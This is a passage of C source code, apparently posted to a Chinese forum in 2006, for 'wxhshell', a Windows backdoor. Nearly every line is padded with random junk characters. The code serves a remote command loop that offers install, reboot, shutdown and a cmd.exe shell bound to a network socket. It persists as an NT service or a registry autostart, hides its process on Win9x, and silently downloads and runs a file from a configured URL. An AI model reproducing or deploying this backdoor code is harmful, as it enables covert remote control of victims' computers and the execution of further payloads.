      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); EjP)e;  
    break; V-18~+F~"a  
  } t-SZBNb  
  // 安装 &_' evZ8  
  case 'i': { f7Gs1{  
    if(Install()) /*G bl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lYU?j|n  
    else $5@[l5cJU;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (]-RL A>  
    break; :wfN+g=  
    }  WfQZ7e  
  // 卸载 <&HHo>rl  
  case 'r': { f]2;s#cu  
    if(Uninstall()) .f|)od[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u ^M'[<{  
    else A2.4#Qb'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /xd|mo)D  
    break; hJ?PV@xy  
    } E9]*!^=/  
  // 显示 wxhshell 所在路径 i0~Af`v  
  case 'p': { JO~62='J  
    char svExeFile[MAX_PATH]; E`|vu*l7  
    strcpy(svExeFile,"\n\r"); mNJCV8 <  
      strcat(svExeFile,ExeFile); =+H,}  
        send(wsh,svExeFile,strlen(svExeFile),0); "om[S :ai  
    break; +5GPU 9k  
    } I(b]V!mj:  
  // 重启 PmtXD6p3(  
  case 'b': { Us_1 #$p,  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); #!P>." .  
    if(Boot(REBOOT)) Q~`{^fo1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y4[oa?G  
    else { !Oi':OQG  
    closesocket(wsh); 9}+X#ma.Nc  
    ExitThread(0); aJ[|80U  
    } '_ys4hz}  
    break; }(K1=cEaL  
    } 4h T!DS  
  // 关机 gOMy8w4>  
  case 'd': { GE=PaYz  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ,lVQ-qw5  
    if(Boot(SHUTDOWN)) @Thrizh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1/%5pb2\  
    else { n*9nzx#q  
    closesocket(wsh); 5yjG\ ~  
    ExitThread(0); N|/gwcKe  
    } 0 qW"b`9R  
    break; tRNMiU  
    } .UvDew/Y  
  // 获取shell y[GqV_~?Y  
  case 's': { lUw=YM  
    CmdShell(wsh); [kMWsiZ  
    closesocket(wsh); )_}xK={  
    ExitThread(0); Yy,XKIqU  
    break; |W}D_2  
  } :k2 J &@8  
  // 退出 ;WgzR_'!'  
  case 'x': { qRq4PQ@  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 'Z)#SzY  
    CloseIt(wsh); +W8kMuM!  
    break; V;gC[7H  
    } Q]OR0-6<.  
  // 离开 |hX\ep   
  case 'q': { ""IPaNHQ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); qHPinxewx  
    closesocket(wsh); <RcB: h  
    WSACleanup(); ->Fsmb+R  
    exit(1); uc LDl  
    break; tg<bVA)E'J  
        } IsjN xBM  
  } B]  Koi1B  
  } IR32O,)  
rS+ >oP}  
  // 提示信息 iF_u/#  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #c9MVQ_   
} Q8_5g$X\  
  } NOf{Xx<#k  
e0IGx]5i  
  return; pp2 Jy{\d  
} OaY]}4tI$  
=@nW;PUZ  
// shell模块句柄 @Ph'!  
int CmdShell(SOCKET sock) e~nh95  
{ pP%+@;  
STARTUPINFO si; |w-s{L3@+  
ZeroMemory(&si,sizeof(si)); 9l,8:%X_  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Y5*A,piq  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; "&\(:#L  
PROCESS_INFORMATION ProcessInfo; ebLt:gGo  
char cmdline[]="cmd"; ~`5[Li:eP  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); fT=ZiHJ3Gu  
  return 0; )ri'W <l  
} rMJ4w['J=  
}IQ![T5  
// 自身启动模式 e.(RhajB  
int StartFromService(void) a;(,$q3M  
{ T,B%iZgCh  
typedef struct @f-rS{  
{ *48LQzc  
  DWORD ExitStatus; s}DNu<"g  
  DWORD PebBaseAddress; tq*{Hil>P`  
  DWORD AffinityMask; % QaWg2Y=  
  DWORD BasePriority; RG/P]  
  ULONG UniqueProcessId; MW0CqMi]T  
  ULONG InheritedFromUniqueProcessId; :]* =f].  
}   PROCESS_BASIC_INFORMATION; lg@q} ]1  
K%SfTA1TCB  
PROCNTQSIP NtQueryInformationProcess; Mi`t$hmP  
VD{_6  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; rNgAzH  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $:?=A5ttuo  
T n,Ifo3  
  HANDLE             hProcess; 54 f?YR  
  PROCESS_BASIC_INFORMATION pbi; 8 ;=?Lw?  
-Q1~lN m:  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); uW,rmd  
  if(NULL == hInst ) return 0; `?T8NK  
5zt5]zl'  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); e XmYw^n  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); >~&7D`O  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); RP wP4Z  
/ZSdY_%s  
  if (!NtQueryInformationProcess) return 0; ?[lKft  
> 'JWW*Y!  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 9(BB>o54r  
  if(!hProcess) return 0; <%oT}K\;  
.r@'9W^8  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ~ o5h}OU"  
q,j` _ R4  
  CloseHandle(hProcess); K]i2$M  
3[To"You  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); J-Fqw-<aFJ  
if(hProcess==NULL) return 0; iLFhm4.PO  
*Rj*%S  
HMODULE hMod; Y F W0  
char procName[255]; `Y7&}/OM  
unsigned long cbNeeded;  u8[jD^  
vu)V:y  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); N,`<:'  
{7FD-Q[tS  
  CloseHandle(hProcess); hC2Ra "te)  
uvGFo)9q3  
if(strstr(procName,"services")) return 1; // 以服务启动 ;#?+i`9'q  
@nF#\  
  return 0; // 注册表启动 %C*h/AW)'  
} YZ+<+`Mz<  
LpSd/_^b  
// 主模块 <' b%  
int StartWxhshell(LPSTR lpCmdLine) 6.GIUM%D  
{ n15lX,FI  
  SOCKET wsl; C$EvcF% 1  
BOOL val=TRUE; -"3<Ll  
  int port=0; jQ Of+ZE  
  struct sockaddr_in door; zDof e*  
NU|T`gP  
  if(wscfg.ws_autoins) Install(); .;9I:YB$  
.e%B'  
port=atoi(lpCmdLine); <lVW; l7  
_p=O*$b.  
if(port<=0) port=wscfg.ws_port; $+a2CZs!  
*Z"(K\1TH  
  WSADATA data; D'+kzb@  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; zi}dQsy6  
|JH1?n  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   B^uQv|m  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); nXqZkZE\  
  door.sin_family = AF_INET; ~*h` ?A0  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); #x|h@(y|  
  door.sin_port = htons(port); A?*_14&  
j:{d'OV  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { X+T +y>e a  
closesocket(wsl); 3pKr {U92  
return 1; c B9`U4<  
} t,K_!-HX+  
]`x\Oj &  
  if(listen(wsl,2) == INVALID_SOCKET) { rTjV/~  
closesocket(wsl); VZ8HnNAbX  
return 1; <<P& MObqj  
} ISuye2tExq  
  Wxhshell(wsl); xI7; (o"  
  WSACleanup(); v='h  
7$7Y)&\5 w  
return 0; QNH5Cq;Y  
T=w5FT  
} agFWye  
3g]Sp/  
// 以NT服务方式启动 0g@ 8x_3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ,IW$XD  
{ I2=?H <  
DWORD   status = 0; 'i|z>si[*  
  DWORD   specificError = 0xfffffff; JYB<};,  
^L(}cO  
  serviceStatus.dwServiceType     = SERVICE_WIN32; t*zBN!Wu_  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; MNKB4C8 >  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; KN;b+`x;M  
  serviceStatus.dwWin32ExitCode     = 0; H`$s63  
  serviceStatus.dwServiceSpecificExitCode = 0; nkp!kqJ09  
  serviceStatus.dwCheckPoint       = 0; i# 1:DiF  
  serviceStatus.dwWaitHint       = 0; f`?Y+nu}  
:*"0o{ ie  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ~)#JwY  
  if (hServiceStatusHandle==0) return; sSC yjS'T  
ZgL4$%  
status = GetLastError(); 3Q`F x  
  if (status!=NO_ERROR) PYl(~Vac  
{ f#a ~av9rC  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; E+AEV`-  
    serviceStatus.dwCheckPoint       = 0; [}|-% 4s  
    serviceStatus.dwWaitHint       = 0; 2!/_Xh  
    serviceStatus.dwWin32ExitCode     = status; 2 fX-J  
    serviceStatus.dwServiceSpecificExitCode = specificError; aU3 m{pE  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 33_YZOy^j  
    return; \w!G  
  } O1Gd_wDC/i  
m?G}%u  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Eoug/we  
  serviceStatus.dwCheckPoint       = 0; XX5 ):1  
  serviceStatus.dwWaitHint       = 0; ANy=f-V  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); jZcjiOX  
} h1Ca9Z_  
1o7 pMp=  
// 处理NT服务事件,比如:启动、停止 !Re/W ykY  
VOID WINAPI NTServiceHandler(DWORD fdwControl)  s%Q pb{  
{ \. A~>=:  
switch(fdwControl) 2+Z2`k]AC  
{ 7'_zJI^  
case SERVICE_CONTROL_STOP: nJF"[w,?  
  serviceStatus.dwWin32ExitCode = 0; &%`IPhbT  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; IBY3QG  
  serviceStatus.dwCheckPoint   = 0; L=Q- r[  
  serviceStatus.dwWaitHint     = 0; P$Y< g/s 4  
  { zPU& }7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _JA.~edqM  
  } wHk4BWg-  
  return; \BaN?u)a  
case SERVICE_CONTROL_PAUSE: "xlf6pm%  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; p%CAicn  
  break; 3uCC_Am  
case SERVICE_CONTROL_CONTINUE: Zgo^M,g  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; o|Obl@CSBD  
  break; 0 ]U ;5  
case SERVICE_CONTROL_INTERROGATE: *KF:  
  break; WS@b3zzN  
}; nI%0u<=d  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); A?q[C4-BO,  
} "?V4Tl~uu  
U?d1  
// 标准应用程序主函数 Y4}!9x  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Eu\&}n`i  
{ <DiD8")4  
[[QrGJr  
// 获取操作系统版本 1agyT  
OsIsNt=GetOsVer(); 3Ec5:Caz  
GetModuleFileName(NULL,ExeFile,MAX_PATH); F'W{\4  
BD[XP`[{  
  // 从命令行安装 Yva^JB  
  if(strpbrk(lpCmdLine,"iI")) Install(); qi h7  
7_d gQI3y  
  // 下载执行文件 7NRq5d(lP  
if(wscfg.ws_downexe) { |]HU$Gt S  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) \y{Bnp5h  
  WinExec(wscfg.ws_filenam,SW_HIDE); V#^~JJW^  
} b4!(~"b.  
bT*MJ7VVm  
if(!OsIsNt) { ~!&WK,k6  
// 如果时win9x,隐藏进程并且设置为注册表启动 Xdsd5 UUM  
HideProc(); R:x4j#(  
StartWxhshell(lpCmdLine); %F9% t  
} ?3kfh R  
else `UMv#-Y8  
  if(StartFromService()) .JZoZ.FAb  
  // 以服务方式启动 #QQ\xj  
  StartServiceCtrlDispatcher(DispatchTable); WZ'8{XY8  
else CtV$lXxup  
  // 普通方式启动 m'XzZmI  
  StartWxhshell(lpCmdLine); Ku*@4#<L6h  
;FQAL@"Yj  
return 0; 9 bYoWw  
}
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只看该作者 1 发表于: 2006-10-10
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